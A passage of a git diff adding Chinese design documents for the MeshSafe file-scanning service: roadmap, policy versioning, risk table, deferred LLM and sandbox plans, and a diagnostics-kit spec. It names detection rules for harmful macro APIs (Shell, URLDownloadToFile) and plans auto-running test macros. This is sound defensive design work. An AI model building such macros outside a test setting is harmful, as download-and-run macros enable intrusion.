└── 勾选式多选项,附格式说明 +│ +└── ⑥ 版本管理面板 + ├── 当前版本号 / SHA256 / 创建时间 / 创建人 + ├── 历史版本列表(可按版本号 / 时间筛选) + ├── 点击历史版本 → 只读预览 + └── 一键回滚到任意历史版本 +``` + +#### 9.7.4 保存校验流程 + +``` +用户点击"保存" + │ + ▼ +前端基本校验(必填 / 格式 / 枚举范围) + │ 通过 + ▼ +后端完整校验(与 §7.4 策略文件校验规则相同) + │ 通过 + ▼ +写入 policy_versions 表(新行,状态 = pending) + │ + ▼ +触发热重载 /api/v1/policies/reload + │ 成功 + ▼ +更新 policy_versions 状态 → active(旧版本自动标记 archived) + │ + ▼ +导出 YAML 到 `config/policy.yaml`(供备份) + │ + ▼ +审计日志记录完整 diff + │ + ┌───────── 失败分支 ─────────┐ + ▼ ▼ +热重载失败 校验失败(极罕见) + │ │ + ▼ ▼ +新策略自动标记 archived 返回具体字段错误 +继续使用旧策略 不写入数据库 +``` + +**关键设计**:任何环节失败都不会让系统进入"无有效策略"状态。 + +#### 9.7.5 权限分级 + +| 角色 | 权限 | +| ---------- | --------------------------------------------------- | +| `admin` | 完整读写:编辑策略各段、增删零容忍规则、增删例外、回滚版本 | +| `operator` | 只读 + 例外增删:可查看全部配置,可新增/删除宏行为例外(需审批留痕),不可修改裁决阈值或零容忍规则 | +| `viewer` | 只读:仅查看当前生效策略与历史版本,不可编辑 | + +> **等保三级对应**:权限分级即"访问控制"要求的落地。`operator` 角色可管例外(因为是日常运维高频操作)但不能改裁决逻辑,降低误操作风险。 + +*** + +## 10. 实施路线 + +> **原则**:一期聚焦核心风险敞口——"打开即执行"载体的零容忍拦截 + 恶意文件识别。其余能力按风险收益排序。沙箱(原 P4)与大模型(原 P5)已从实施计划中移除,前者见 §12.4,后者见 §12.1。 + +### 10.1 阶段总览 + +| 阶段 | 定位 | 核心内容 | 交付物 | +| ------------- | ----------- | ----------------------------------------------------------------------------------------------------------------- | -------------------- | +| **P0 核心引擎** | 能跑通、能拦核心风险 | 项目骨架 + 安全层 + L0/L1/L2 检测流水线 + **零容忍机制** + **宏行为分级** + **LNK 深度解析** + **URL/二维码提取** + **open_risk 等级** + **例外机制** | 完整检测引擎,覆盖场景中最高频的恶意载体 | +| **P1 扩展检测** | 覆盖剩余格式与启发式 | ISO 挂载内递归 + CHM 复合文档校验 + 内网特征词表引擎 + 畸形文件启发式检测 + 同步/异步任务编排 | 覆盖全部目标格式,降低误报率 | +| **P2 控制台与部署** | 可配置、可运维、可交付 | 控制台(登录/锁定/CSRF)+ **策略配置页面**(§9.7 双模式/版本管理/回滚)+ Docker Compose 编排 + Nginx TLS + 签名调试台 + 审计链自检 | 单机可部署、实施人员可操作的完整系统 | +| **P3 接口与测试** | 正式交付 | 对外接口文档(含签名规范、校验向量、四语言示例)+ 单元/集成测试 + 恶意样本回归测试集 | 可交付、可联调、可验收 | + +### 10.2 各阶段详细内容 + +#### P0 核心引擎 + +**目标**:覆盖场景中最高频、最危险的恶意载体。能跑通一条完整的"上传 → 检测 → 裁决 → 返回结论"链路。 + +| 模块 | 具体工作 | 优先级理由 | +| ----------------- | --------------------------------------------------------------------------- | ------------------------ | +| 项目骨架 | FastAPI + PostgreSQL + Redis + 配置体系 + ORM + 安全层(HKDF / 签名 / PBKDF2 / 审计哈希链) | 全部上层的基础 | +| L0 结构层 | 真实类型识别 / 伪装检测 / 递归安全解包 / 路径穿越 / zip bomb | 拦截 60% 以上的人工伪装攻击 | +| L1 ClamAV | clamd 接入 + INSTREAM 协议 + 签名库版本记录 | 已知恶意样本的基本拦截 | +| L2 文档深度 | oletools(olevba + mraptor + msodde + oleobj)+ pypdf + OOXML 解析 | 宏 / DDE / PDF JS 是场景核心风险 | +| **零容忍机制** | 当前零容忍规则集(§4.8.4,含跨平台 / Linux 专属 / 纵深防御三层)+ 独立裁决步骤(§7.2 步骤 0) | 打开即执行载体必须零容忍 | +| **宏行为分级** | 危险 API 清单 + 自动执行入口检测 + 混淆特征识别(§4.8.4) | 区分"有害宏"与"公文模板宏" | +| **LNK 深度解析** | LnkParse3 库 + 目标路径/参数解析 + 远程链接检测 | LNK 是高频钓鱼载体 | +| **URL/二维码提取** | 文档外部链接部件解析 + zxing/opencv 二维码解码 + 恶意 URL 库查询(§4.8.6) | 链接与二维码是常见诱导入口 | +| **open_risk 等级** | 四个等级 + factors + advice 模板(§6.7) | 系统判定与人工提示分离 | +| **例外机制** | 宏行为例外的五道保险 + 审批留痕 + 到期自动失效(§7.7) | 必须支持合法公文模板的受控放行 | +| 策略引擎 | PolicyStore 加载校验 + PolicyEngine 裁决(含零容忍 + 评分 + rule_overrides) | 全部检测信号的裁决中枢 | +| 扫描编排 | 流水线编排 + 递归队列 + 引擎降级处理 | 让各引擎协同工作 | +| API 路由 | 扫描提交 / 结果查询 / health / policies/reload | 对外接口的最小集合 | + +#### P1 扩展检测 + +**目标**:覆盖 P0 未涉及的格式和启发式检测,降低误报率。 + +| 模块 | 具体工作 | 优先级理由 | +| ------------- | -------------------------------------- | ------------------ | +| ISO 挂载内递归 | 挂载后自动扫描可执行文件(§4.8.2 IsoWithExecutable) | ISO 是"打开即挂载"载体 | +| CHM 复合文档校验 | 类型识别 + 结构完整性校验(§4.8.2 ChmWithScript) | CHM 帮助文件可执行脚本 | +| 内网特征词表引擎 | 词表匹配 + 正则 + 组合规则 | 识别内网特有模板与特征,辅助例外判断 | +| 畸形文件启发式 | 结构完整性校验 + 非标准字段检测 | 降低解析器漏洞可利用性 | +| YARA + pefile | YARA 规则库集成 + PE 节区熵值 / 导入表 / 签名目录分析 | 二进制文件的恶意检测 | +| 同步/异步任务 | 大文件异步处理 + task_id 轮询 + 队列管理 | 避免 HTTP 长连接超时 | + +#### P2 控制台与部署 + +**目标**:让实施人员能操作(配置、查看、调试)、能部署(一键启动)、能通过安全测评。 + +| 模块 | 具体工作 | 对应章节 | +| -------------- | ---------------------------------------- | ------------- | +| 控制台认证 | 登录 / 失败锁定 / CSRF / 30 分钟会话 | §5.3 | +| **策略配置页面** | 表单+YAML 双模式 / 数据库为准 / 版本历史 / 一键回滚 / 权限分级 | §9.7 | +| 签名调试台 | 实时生成签名头 / 展示验签过程 | §9.3 | +| 历史任务 / 审计查询 | 任务列表筛选 + 审计链自检 | §9.3 / §5.4 | +| 引擎看板 | 各引擎状态 + 签名库版本 + 队列深度 | §9.3 | +| Docker Compose | api + clamav + db + redis + nginx 编排 | §8.1 | +| Nginx TLS | TLS 1.2+ 终止 + 反向代理 + 静态资源 | §8.2 / §5.6.3 | +| 离线签名库同步 | 外网镜像 + 单向导入 + 内网分发 + 超期告警 | §4.3.2 / §8.3 | + +#### P3 接口与测试 + +**目标**:正式交付物完备,对接方可联调,验收可复现。 + +| 模块 | 具体工作 | 交付形式 | +| --------- | ---------------------------------------------- | --------------- | +| 对外接口文档 | 签名规范 + 校验向量 + 四语言示例(Python / Java / C# / Go) | Markdown(已完成初稿) | +| 单元测试 | 各引擎独立测试 + 策略裁决测试 + 签名/验签测试 | `tests/` 目录 | +| 集成测试 | 端到端扫描链路 + 异常引擎降级 + 热重载 | 测试脚本 | +| 恶意样本回归测试集 | 覆盖零容忍全部规则 + 宏分级 + Linux 专属载体 + 纵深防御 Windows 载体 | 样本库 + 期望结果表 | + +### 10.3 阶段出口标准 + +**P0 出口(核心引擎可用)** + +| 检查项 | 通过标准 | +| ------------- | --------------------------------------------------- | +| 零容忍规则集 | 全部正确触发 reject,不走评分 | +| 宏行为分级 | 有害宏(Shell/URLDownloadToFile)触发零容忍,无害宏(仅本地文档操作)放行或标记 | +| LNK 深度解析 | 指向 exe / 远程路径 / 脚本的 LNK 零容忍拦截 | +| URL / 二维码 | 恶意库命中→零容忍;非常规端口→转复核;普通链接→放行但提示 | +| open_risk 等级 | 各等级正确映射,与 action 同时返回 | +| 例外机制 | 指纹匹配 + 文件名匹配 + 到期过期自动失效 | +| 引擎不可用 | `fail_closed` 下拒绝文件 | +| 审计哈希链 | 扫描结果 + 策略变更 + 例外增删全部留痕且链可校验 | + +**P1 出口(覆盖全部格式)** + +| 检查项 | 通过标准 | +| -------- | ------------------------ | +| ISO 递归扫描 | 挂载后内部 exe/msi 被拦截 | +| CHM 识别 | 类型识别正确,恶意 CHM 零容忍 | +| 畸形文件检测 | 结构异常的文档触发 warning,不崩 | +| 误报回归 | 引入 P1 能力后正常业务文件误报率不高于 P0 | + +**P2 出口(可交付)** + +| 检查项 | 通过标准 | +| ------------------ | --------------------------------------- | +| 控制台 `always_on` 模式 | 路由表中无 `/console` 和 `/docs`,外部扫描返回 404 | +| 策略配置页面 | 表单模式与 YAML 模式都能正确编辑、保存、热重载;失败时回滚 | +| 版本管理 | 可查历史版本、可一键回滚、回滚后立即生效 | +| 控制台签名链路 | 控制台上传的测试走完整签名链路,审计日志标记 `source=console` | +| Docker Compose | `docker compose up -d` 一键启动,全部容器健康 | +| TLS | 仅 443 暴露,无明文端口 | + +**P3 出口(可联调可验收)** + +| 检查项 | 通过标准 | +| -------- | ----------------------------------------------- | +| 接口文档校验向量 | 对接方可直接用于单元测试(已预跑通过) | +| 四语言示例 | Python / Java / C# / Go 四套 SDK 骨架 + 可运行的签名/验签示例 | +| 回归测试集 | 全部零容忍规则 + 宏分级 + Linux 专属载体样本,预期结果与实际结果 100% 一致 | + +*** + +## 11. 风险与应对 + +| 编号 | 风险 | 影响 | 应对 | 责任阶段 | +| --- | --------- | --------------- | ----------------------------- | ---- | +| R1 | 病毒库长期不更新 | 检测能力形同虚设 | 自动化离线同步流程 + 超期告警(§8.3) | P2 | +| R2 | YARA 规则失准 | 误报影响业务 / 漏报造成风险 | 规则版本管理 + 定期回归测试集 | P3 | +| R3 | | 摆渡业务无法开展 | `manual_review` 通道 + 人工复核回写 | P1 | +| R4 | 引擎性能瓶颈 | 吞吐不足 | clamd 常驻 + 异步模式 + 水平扩展 worker | P1 | +| R5 | 大文件解包耗尽资源 | 服务不可用 | 解包配额 + 超时 + 容器资源限制 | P1 | +| R6 | 对接方签名实现错误 | 联调受阻 | 文档校验向量 + 调试台 + SDK | P3 | +| R7 | 审计日志被删 | 合规不达标 | 哈希链 + 链校验自检接口 | P1 | +| R8 | 密钥泄露 | 伪造检测结论 | 环境变量注入 + 用途隔离派生 + 定期轮换 | P2 | +| R9 | 控制台暴露攻击面 | 被探测 / 被利用 | 生产默认关闭 + 登录锁定 + 审计 | P2 | +| R10 | 接口契约变更 | 对接方返工 | 路径版本 + 兼容策略 + 变更记录 | P3 | +| | | | | | + +*** + +## 12. 长期演进预研(非本期实施内容) + +### 12.1 本期定位:确定性能力优先 + +经需求澄清,本期(一期)**不引入大模型 / AI 能力**。所有检测结论均由**确定性手段**产出: + +| 特性 | 确定性手段 | 大模型手段 | +| ---- | ------------ | -------------- | +| 可复现性 | ✅ 同输入必同输出 | ❌ 存在随机性 | +| 可举证性 | ✅ 命中哪条规则清晰可述 | ❌ 结论难以向当事人解释 | +| 资源依赖 | ✅ 无需推理算力 | ❌ 需 GPU / 推理服务 | +| 延迟 | ✅ 毫秒\~秒级 | ❌ 秒级\~十秒级 | +| 幻觉风险 | ✅ 无 | ❌ 存在 | + +在法院 / 政务场景下,「可举证」与「可复现」是**硬性要求**——检测结论可能需要向当事人出示。因此本期以确定性规则为主是正确取舍。 + +**代价与补偿**:规则无法覆盖「未知形态」与「语义层面」,这是客观局限。本方案的补偿措施是: + +| 局限 | 补偿措施 | +| -------- | -------------------------------- | +| 新型攻击形态滞后 | 规则库版本管理 + 定期回归测试 + 快速更新流程 | +| 无法理解语义 | 本期不做(见 §12.3),依靠用户侧风险提示(见 §6.7) | +| 误报难以根治 | 零容忍 + 分级 + 例外机制 + 人工复核通道(见 §7.5) | + +### 12.2 三层能力模型(架构预留) + +架构上仍保留三层结构,语义层作为**可插拔扩展点**预留,确保未来引入时无需重构: + +``` +┌─────────────────────────────────────────────────────┐ +│ L-S 语义分析层(长期预研,一期不实现) │ +│ 大模型 / 语义规则 / 上下文关联判断 │ +│ 产出:语义风险信号 + 解释性结论 │ +├─────────────────────────────────────────────────────┤ +│ L-R 规则分析层(本期实现) │ +│ ClamAV / YARA / oletools / pefile / LnkParse │ +│ 产出:确定性的命中信号 │ +├─────────────────────────────────────────────────────┤ +│ L-D 数据层(本期实现) │ +│ 结构识别 / 递归解包 / 哈希 / 类型判定 │ +│ 产出:文件的基础属性与容器结构 │ +└─────────────────────────────────────────────────────┘ +``` + +**预留的具体形式**: + +| 项 | 预留内容 | +| ---- | ---------------------------------------------------------- | +| 引擎接口 | `Engine` 基类的 `layer` 字段已支持 `LS`;未来新增 `SemanticEngine` 即可注册 | +| 信号结构 | `Finding.meta` 中预留 `deterministic` 字段,用于标记信号来源的确定性 | +| 配置 | 策略中预留 `semantic.enabled` 开关(默认关闭) | +| 裁决 | 策略引擎支持按 `deterministic` 设置权重上限,无需改动裁决逻辑 | + +### 12.3 长期预研方向(不列入实施计划) + +以下方向经评估有价值,但因依赖算力、效果待验证、举证效力待确认,**本期不实施**: + +| 方向 | 潜在价值 | 暂缓原因 | +| -------- | ----------------- | -------------------- | +| 诱导话术识别 | 识别"请登录此链接办理"类诱导表达 | 需求已明确本期不需要 | +| 仿冒公文模板识别 | 判断内容是否符合真实公文体例 | 需模板库 + 效果验证 | +| 上下文关联分析 | 识别批量钓鱼、机器化命名 | 纯统计方法即可实现,不需模型,可独立推进 | +| 规则辅助生成 | 缩短新威胁的规则覆盖周期 | 属研发辅助工具,不在运行时链路 | +| 辅助复核摘要 | 降低人工复核成本 | 可先用模板化摘要替代 | + +**若未来引入大模型,必须满足的约束**(提前记录,避免后续返工): + +| 约束 | 要求 | +| --------- | ------------------------------- | +| 完全离线、本地推理 | 模型权重部署在内网,不调用外部 API(数据外传违反隔离要求) | +| 模型选型 | 优先可商用授权的开源模型(Qwen 系列、GLM 系列等) | +| 只喂提取物 | 仅提供解包后的文本、宏源码、脚本内容,不提供原文件 | +| 不单独裁决 | 模型输出作为信号之一参与评分,权重受限,不可作为唯一拒绝依据 | +| 可一键关闭 | 模型不可用时降级为纯规则模式,主流程不受影响 | +| 决策留痕 | 模型版本、提示词版本、输入摘要哈希、原始输出全部记录 | + +### 12.4 沙箱(L3)的定位调整 + +原方案将动态沙箱列为 P4 可选。结合需求澄清(内网为国产化终端、以文档为主),**建议将沙箱从实施计划中移除**,仅作为长期可选项保留。 + +| 考量 | 分析 | +| ---- | ------------------------------------------------------- | +| 环境适配 | CAPE / DRAKVUF 依赖 Windows 客体与裸金属虚拟化(VT-x/EPT),与国产化环境不匹配 | +| 场景适配 | 场景以文档为主,静态分析对文档类样本覆盖度已较高 | +| 投入产出 | 一套沙箱环境的投入 ≈ 整个检测服务的开发投入 | +| 替代方案 | 结构完整性校验 + 畸形文件检测,成本低一个数量级,覆盖部分解析器漏洞风险 | + +**替代措施**:对高危解析路径(字体、图像、压缩流、复合文档)增加结构完整性校验,检测畸形构造。虽无法根治解析器漏洞,但可显著降低可利用性。 + +**解析器漏洞风险的定位**:该类风险**无法由检测服务单方面消除**,属于终端侧加固范畴(打补丁、限制字体自动加载、禁用宏)。检测服务的责任是识别出「该格式存在解析器攻击面」并在结论中提示,不给出「检测通过即绝对安全」的暗示。 + +*** + +*** + +## 13. 待确认事项 + +### 13.2 已确认(方案中已有明确结论) + +| 编号 | 事项 | 决定 | 写入位置 | +| ------- | ------------ | ----------------------------------------------------------------------- | --------------- | +| Q1 | 对外文档形式 | 双文档:总体方案(本文档 Markdown)+ 接口文档(对外交付 Markdown) | §9.1 | +| Q2 | 官方 SDK 优先级 | 一期提供 Python SDK;Java / C# / Go 给完整示例代码 | 接口文档 | +| Q3 | 接口版本策略 | 路径版本 `/api/v1/`,v2 路径并存 | §6.6 | +| Q4 | 对外文档规则清单粒度 | 给到"规则名 + 含义 + 严重度"级别,不暴露规则正文 | §9.6 | +| Q5 | 控制台任务标记 | 共用数据库,打 `source=console` 标记 | §9.4 | +| Q6 | 沙箱是否纳入一期 | **不纳入**。架构预留,环境不匹配且投入产出失衡 | §10 总览 + §12.4 | +| Q7 | 审计日志对接集中审计平台 | 一期提供导出接口 | §5.4 | +| Q8 | 大模型接入的算力与选型 | **不纳入一期**。长期预研,架构预留语义层扩展点 | §12.1 / §12.2 | +| Q9 | 语义层信号的证据效力定位 | **不纳入一期**。长期预研时需确认合规意见 | §12.3 | +| Q10 | 内网外发方向的内容审计 | **一期不做**。依赖业务密级规则,作为后续独立需求立项 | §1.3 | +| Q11 | 例外机制的审批方式 | **一期用线下审批 + 写进策略文件**,系统内审批流后续评估 | §7.7.3 | +| Q12 | 配置编辑方式 | **数据库为准**,表单+YAML 双模式,版本历史 + 一键回滚 | §9.7.1 / §9.7.2 | +| Q13 | 等保双因素认证 | **一期依赖部署侧统一身份认证**,服务自身实现 TOTP 列为待补 | §5.6.2 | +| **Q14** | **国产化终端 OS** | **麒麟桌面/UOS(x86_64)+ WPS Office**,纯 Linux 桌面环境 | §4.8.2 | +| **Q15** | **WPS 使用情况** | **内网基本用 WPS,也有用操作系统自带 Office 的**;AutoOpen/Shell 调用在 WPS on Linux 上需实测验证 | §4.8.5 | + +### 13.3 待确认(影响实现方向或验收标准) + +以下事项需在对应阶段启动前确认,否则会影响实现方案: + +| 编号 | 事项 | 为什么重要 | 建议方案 | 需在何阶段确认 | +| ------- | ------------------------- | -------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ---------------- | +| **Q20** | **WPS on 麒麟/UOS 宏行为实测结果** | AutoOpen/Workbook_Open 是否自动触发;Shell/CreateObject 是否有效——决定宏相关零容忍规则在 Linux 上的威胁等级 | 制作 3\~5 个测试宏模板(AutoOpen + Shell、AutoOpen + Download、纯本地操作),在 WPS on 麒麟桌面打开验证 | **P0 开发前(必须完成)** | +| **Q16** | **摆渡系统的调用技术栈** | 决定 SDK 实际优先级。若摆渡系统用 Java,则 Python SDK 可以延后 | 摆渡系统开发侧提供技术栈确认 | P3 启动前(影响交付形式) | +| **Q17** | **配置变更是否需要草稿+发布模式** | 当前方案是"编辑 → 立即热重载",变更即时生效。多人协作时可能需要草稿区 + 审核发布两步走 | 单人实施可简化为立即生效;多人协作建议加草稿+发布 | P2 启动前(影响控制台开发量) | +| **Q18** | **ClamAV 签名库的离线同步由谁运维** | 签名库超过 7 天不更新会触发健康检查告警。需明确:外网同步机谁管、单向导入介质谁负责、内网分发谁维护 | 由实施侧运维团队负责,服务只提供版本检查与告警 | P2 部署前(影响运维方案) | +| **Q19** | **是否需要对接内部统一身份认证** | §5.6.2 提到控制台双因素认证的依赖。若对接 UAC/CA,则控制台自身不需实现 TOTP;否则需要 | 优先对接既有统一认证;无则实现 TOTP | P2 开发前 | + +*** + +## 附录 A:已确定的技术选型 + +| 项目 | 选型 | 说明 | +| ------ | ------------------------- | ---------------- | +| 开发语言 | Python 3.11+ | 检测生态最完整 | +| Web 框架 | FastAPI + Uvicorn | 异步、原生 OpenAPI | +| 数据库 | PostgreSQL 15 | 任务、策略、审计 | +| 缓存/队列 | Redis 7 | nonce、限流、幂等、异步队列 | +| 容器编排 | Docker Compose | 单机足够,无需 K8s | +| 病毒引擎 | ClamAV(clamd) | 签名库离线镜像 | +| 文档检测 | oletools + pypdf + pefile | Python 原生生态 | +| 规则引擎 | YARA 4.5(yara-python) | 可嵌入进程,性能优于命令行 | +| 反向代理 | Nginx | TLS 终止 + 静态资源 | +| 目标系统 | Ubuntu / 麒麟 V10 | 国产化适配 | + +## 附录 B:项目结构规划 + +``` +MeshSafe/ +├── app/ +│ ├── main.py # 应用入口、路由注册、门控 +│ ├── config.py # 配置加载 +│ ├── db.py # 数据库会话 +│ ├── models.py # ORM 模型 +│ ├── api/ # /api/v1 路由 +│ │ ├── scans.py +│ │ ├── policies.py +│ │ ├── health.py +│ │ └── audit.py +│ ├── console/ # 控制台(可关闭) +│ │ ├── router.py +│ │ ├── auth.py +│ │ ├── views.py +│ │ └── templates/ +│ ├── engines/ # 检测引擎 +│ │ ├── base.py +│ │ ├── structure.py # L0 +│ │ ├── extractor.py # L0 安全解包 +│ │ ├── clamav.py # L1 +│ │ ├── documents.py # L2 +│ │ └── binary.py # L2B +│ ├── security/ # 安全层 +│ │ ├── crypto.py # 口令哈希、HKDF +│ │ ├── signing.py # 请求/响应签名 +│ │ └── deps.py # 认证依赖、限流 +│ ├── services/ +│ │ ├── policy.py # 策略引擎 +│ │ ├── scanner.py # 扫描编排 +│ │ ├── audit.py # 审计哈希链 +│ │ └── tasks.py # 异步任务 +│ └── templates/ # 模板 +├── config/ +│ ├── policy.yaml # 全局检测策略 +│ └── console.yaml # 控制台门控 +├── rules/ # YARA 规则库 +├── docs/ # 文档 +├── scripts/ # 运维脚本(含签名示例) +├── tests/ # 测试 +├── Dockerfile +├── docker-compose.yml +├── nginx/ +│ └── nginx.conf +├── requirements.txt +└── .env.example +``` + +*** + +**文档结束** · 下一步:《接口文档》(对外交付物) \ No newline at end of file diff --git a/docs/01-诊断套件方案.md b/docs/01-诊断套件方案.md new file mode 100644 index 0000000..0918310 --- /dev/null +++ b/docs/01-诊断套件方案.md @@ -0,0 +1,494 @@ +# MeshSafe Diagnostics Kit v1.0 方案 + +> 版本: v1.0 +> 日期: 2026-10-28 +> 状态: **待审核** +> 作者: MeshSafe Team +> 优先级: 高(P0) + +--- + +## 一、定位 + +> **目标**:让 MeshSafe 运维人员在产品内部就能看到"系统健康状况",遇到问题能一键打包带出来给开发方分析。 +> +> **边界**: +> - ❌ 不联网、不依赖外部服务、不做 LLM、不自动上传 +> - ✅ 所有分析跑在客户容器里(在线定时) +> - ✅ 导出诊断包(手动触发,U 盘带出) +> - ✅ Docker 能力自动检测 + 三级降级 +> - ✅ 全部定时器周期 + 规则阈值配置化 +> - ✅ 总开关可关闭整个诊断套件(只留手动导出) + +--- + +## 二、核心设计决策 + +| # | 决策 | 理由 | +|---|------|------| +| 1 | **在线层:只跑 grep 模式匹配,不收集完整日志** | 光闸内网,日志可能带客户敏感信息;完整日志只在**用户手动导出**时打包 | +| 2 | **三层定时器**(错误类 30s / DB 聚合 60s / 容器类 300s)| 拦截日志要快出快分析;容器/配置类变化慢 | +| 3 | **页面请求时必跑轻量规则**(DB 聚合 + 引擎健康 + 文件 stat) | ~430ms 用户无感,确保页面显示的是最新数据 | +| 4 | **日志匹配 + docker inspect 跑后台定时器** | 涉及 subprocess + IO,耗时 ~2.5s 不阻塞前台 | +| 5 | **Docker 能力三档降级**(full / partial / none) | 客户环境可能挂不了 docker.sock;降级后页面明确告诉用户哪些规则没跑 | +| 6 | **总开关 enabled** | 有的客户不需要/不想跑诊断,一键关掉只留手动导出 | +| 7 | **全部定时器周期 + 规则阈值配置化** | 光闸环境差异大,硬编码不合适 | + +--- + +## 三、功能清单 + +### 3.1 控制台新页面:诊断面板 + +| # | 模块 | 展示内容 | 数据源 | +|---|------|---------|--------| +| A1 | 实时健康概览 | 4 张卡片:总扫描量、恶意拦截、**错误比例**(高就红)、引擎在线 | DB ScanTask + scanner.health() | +| A2 | 引擎健康详情 | 每个引擎状态、ClamAV 病毒库日期、YARA 规则数、最近检测耗时 | scanner.health() + 配置快照 | +| A3 | 容器运行状态 | 5 个容器 status / restart_count / Docker 能力检测结果 | docker inspect(或降级跳过)| +| A4 | 异常检测面板 | 规则引擎跑出来的问题列表(每条带严重度、消息、证据、检测时间戳)| 实时计算 + Redis 缓存 | +| A5 | 最近 20 条错误 | 从 DB 查 verdict='error' 的 ScanTask | DB | +| A6 | **一键导出按钮** | 生成 `diagnostics.tar.gz` → 浏览器下载 | 后端打包 | + +**页面顶部信息栏**: +``` +最后刷新: 10:29:15 🧩 Docker 能力: ✅ 完整(日志检测 + 容器状态) + 或 ⚠️ 部分 / ℹ️ 未启用 + 或 ⛔ 诊断套件未启用 +``` + +**每条规则结果带时间戳**(不同规则可不同,因来自不同运行通道): +``` +🔴 R009 ClamAV 被 OOM Kill (检测于 10:29:15) ← 页面请求时跑 +🟡 R002 ClamAV 病毒库 14 天未更新 (检测于 10:29:15) ← 页面请求时跑 +🟢 R004 所有引擎健康 (检测于 10:28:02) ← 定时器跑 +``` + +**未启用 Docker 时**:跳过 R009-R015,对应规则行显示 `ℹ️ Docker 能力不可用,本条规则未运行`。 + +**诊断套件总开关关闭时**:页面显示大横幅 `⛔ 诊断套件未启用`,下面规则列表隐藏,只保留手动导出按钮。 + +### 3.2 规则清单(15 条) + +#### 页面请求必跑(轻量,~430ms,每次打开都算) + +| 规则 | 类型 | 数据源 | 耗时 | +|------|------|--------|------| +| R001 error 比例 | DB SQL | ScanTask GROUP BY verdict | ~20ms | +| R005 24h 无扫描 | DB SQL | ScanTask MAX(created_at) | ~20ms | +| R002 ClamAV 病毒库日期 | 引擎协议 | clamd SIGINFO | ~100ms | +| R004 引擎健康 | 引擎协议 | scanner.health() | ~300ms | +| R003 YARA 规则 mtime | 文件 stat | os.path.getmtime | <1ms | + +#### 定时器组 A:错误/拦截类(30s 周期) + +| 规则 | 依赖 | 异常信号 | 匹配模式 | +|------|------|---------|---------| +| R009 ClamAV OOM/crash | docker logs clamd | clamd 被杀/崩 | `Killed` / `exit 137` / `segfault` / `oom-killed` | +| R010 Postgres FATAL | docker logs postgres | 连接池爆 | `FATAL` / `too many connections` / `PANIC` | +| R011 Redis OOM | docker logs redis | 内存满 | `OOM command not allowed` / `out of memory` | +| R012 磁盘满 | 5 个容器 docker logs | 磁盘爆 | `No space left on device` / `ENOSPC` | +| R013 Nginx upstream 失败 | docker logs nginx | api 挂了 | `Connection refused` / `upstream timed out` | +| R014 API 连接异常 | docker logs api | 依赖断了 | `Redis connection refused` / `Postgres connection refused` | + +#### 定时器组 B:DB 聚合类(60s 周期) + +| 规则 | 数据源 | +|------|--------| +| R006 suspicious > malicious | ScanTask GROUP BY verdict | +| R007 reject 比例 | ScanTask COUNT + verdict | +| R008 同 SHA256 重复 | ScanTask GROUP BY sha256 HAVING COUNT > 1 | + +#### 定时器组 C:容器/引擎类(300s 周期) + +| 规则 | 依赖 | +|------|------| +| R015 容器重启次数 | docker inspect × 5(任一 restart_count > 3)| + +### 3.3 每条规则输出格式 + +```json +{ + "id": "R009", + "severity": "high", // high / medium / low / info + "message": "ClamAV 被 OOM Kill(近 24h 重启 3 次)", + "hint": "给 clamav 容器加内存限制 512m → 1g", + "evidence": [ + "meshsafe-clamav 最近日志:Killed (exit 137)", + "meshsafe-clamav restart_count = 3" + ], + "run_at": "2026-10-28T10:29:15+08:00", + "run_by": "page_request", // page_request / timer:error_scan / export + "skipped": false, + "skip_reason": null +} +``` + +### 3.4 一键导出 + +**端点**:`GET /api/v1/telemetry/dump`(返回文件下载) + +**导出包结构**: +``` +diagnostics-20261028-103045.tar.gz +├── rules_report.json ← 导出这一刻跑一遍规则引擎的完整结果(带证据 + 时间戳) +├── containers/ +│ ├── meshsafe-api.log ← docker logs --tail 2000(导出时抓完整) +│ ├── meshsafe-api.meta.json ← restart_count / started_at / 镜像 tag +│ ├── meshsafe-clamav.log +│ ├── meshsafe-clamav.meta.json +│ ├── meshsafe-postgres.log +│ ├── meshsafe-postgres.meta.json +│ ├── meshsafe-redis.log +│ ├── meshsafe-redis.meta.json +│ ├── meshsafe-nginx.log +│ └── meshsafe-nginx.meta.json +├── scan_tasks.json ← 最近 500 条 ScanTask(脱敏) +├── scan_findings.json ← 对应 ScanFinding(rule name / severity / engine) +├── engine_health.json ← scanner.health() 快照 +├── policy_snapshot.json ← 策略版本号 + YARA 规则文件列表(**不含规则原文**) +├── docker_detect.json ← 启动时 Docker 能力检测结果 +├── compose_state.json ← docker compose ps 输出(容器运行状态表) +└── meta.json ← 打包时间 / 生成人 / MeshSafe 版本 / 规则版本 +``` + +**数据脱敏策略**: + +| 字段 | 处理方式 | +|------|---------| +| 原始文件名 | 保留扩展名 + SHA256 前 8 位 | +| 文件路径 | 截断为相对路径 | +| 用户名 | `u***n` | +| IP | `10.0.1.*`(保留最后一段)| +| 策略 YAML | 默认只传版本号 + 规则列表;加开关可选全量 | + +### 3.5 Docker 能力检测 + +启动时自动运行(`@app.on_event("startup")`),三档降级: + +| 检测结果 | 条件 | 影响 | 页面显示 | +|---------|------|------|---------| +| **full** | docker.sock 挂载 + docker CLI 可用 + `docker logs/inspect meshsafe-api` 成功 | R009-R015 全部正常运行 | ✅ Docker 能力完整 | +| **partial** | docker CLI 有但 socket 权限不够 | R009-R015 可能部分失败 | ⚠️ Docker 访问受限,部分容器日志规则未运行 | +| **none** | socket 未挂 / CLI 未装 | R009-R015 **自动跳过** | ℹ️ 未启用 Docker 日志检测 | + +检测结果写 `docker_detect.json`(导出包),同时存 Redis 供页面查询。 + +--- + +## 四、定时器运行架构 + +### 4.1 三层定时器 + 页面必跑 + +``` +MeshSafe API 进程 +│ +├── FastAPI app +│ └── startup event +│ ├── ① DIAG_ENABLED? → false 直接 return(全部定时器不启动) +│ ├── ② Docker 能力检测 → 存内存 dict + Redis +│ ├── ③ asyncio.create_task(_timer_loop("error_scan", 30s, R001/R005/R009-R014)) +│ ├── ④ asyncio.create_task(_timer_loop("db_aggregate", 60s, R006/R007/R008)) +│ └── ⑤ asyncio.create_task(_timer_loop("container", 300s, R002/R003/R004/R015)) +│ +├── 页面请求 GET /console/diagnostics +│ ├── 同步跑 R001/R002/R003/R004/R005(~430ms,用户无感) +│ ├── 读 Redis 缓存拿 R006-R015 +│ └── 合并 + 渲染(每条带时间戳) +│ +└── 手动导出 GET /api/v1/telemetry/dump + ├── 阻塞跑完整规则引擎(含实时 + 日志 + 容器) + ├── 抓 docker logs --tail 2000(全容器) + ├── 打包 tar.gz + └── 用后台线程跑,超时 60 秒 +``` + +### 4.2 单次运行耗时预期 + +| 